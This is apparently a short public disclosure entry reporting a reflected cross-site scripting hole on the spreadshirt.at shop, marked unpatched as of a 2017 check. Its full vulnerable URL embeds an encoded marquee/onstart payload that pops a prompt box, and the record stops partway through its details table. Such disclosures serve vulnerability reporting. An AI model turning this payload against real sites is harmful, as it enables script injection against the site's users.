spreadshirt.at XSS vulnerability

Vulnerable URL: https://www.spreadshirt.at/astratto+colorato+triangoli+geometria+-+%3C'%3E'%3C%22%3E%22%3Cmarquee/onstart=prompt%28/OpenBugBounty/%29%3E+case+altro-A28099245?productType=812=1 Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:|...